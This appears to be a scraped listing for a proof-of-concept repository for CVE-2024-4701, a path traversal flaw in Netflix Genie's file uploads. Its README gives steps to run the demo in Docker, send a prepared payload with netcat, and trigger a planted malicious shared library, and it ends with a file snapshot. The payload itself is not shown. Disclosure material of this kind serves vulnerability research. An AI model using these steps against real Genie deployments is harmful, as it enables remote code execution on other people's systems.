CVE-2024-4701 PoC — Path Traversal vulnerability via File Uploads in Genie

Source

Associated Vulnerability

Description

POC for CVE-2024-4701

Readme

# CVE-2024-4701-POC
POC for CVE-2024-4701

Download the genie docker file from https://netflix.github.io/genie/docs/4.3.0/demo/docker-compose.yml or this repo

run 

```docker-compose up```

Download the attached http payload loadlib 

Run the following command

```nc -w 5 localhost 8080 < loadlib```
You may need to install netcat ( nc )

This will send the payload to the genie app running in docker, which uploads the pe.so and ld.so.upload files.

Then login to the genie-app docker container

```docker exec -it genie_demo_app_4.3.0 /bin/bash```

The act of logging in triggers the execution of the malicious library, so just then run

ls /tmp/

To see the file command.out written to disk.

File Snapshot

 [4.0K]  /data/pocs/970118fe315fa615974ab6c2470390288fa6d9a8
├── [1.4K]  docker-compose.yaml
├── [ 11K]  LICENSE
├── [ 16K]  loadlib
└── [ 698]  README.md

0 directories, 4 files

Remarks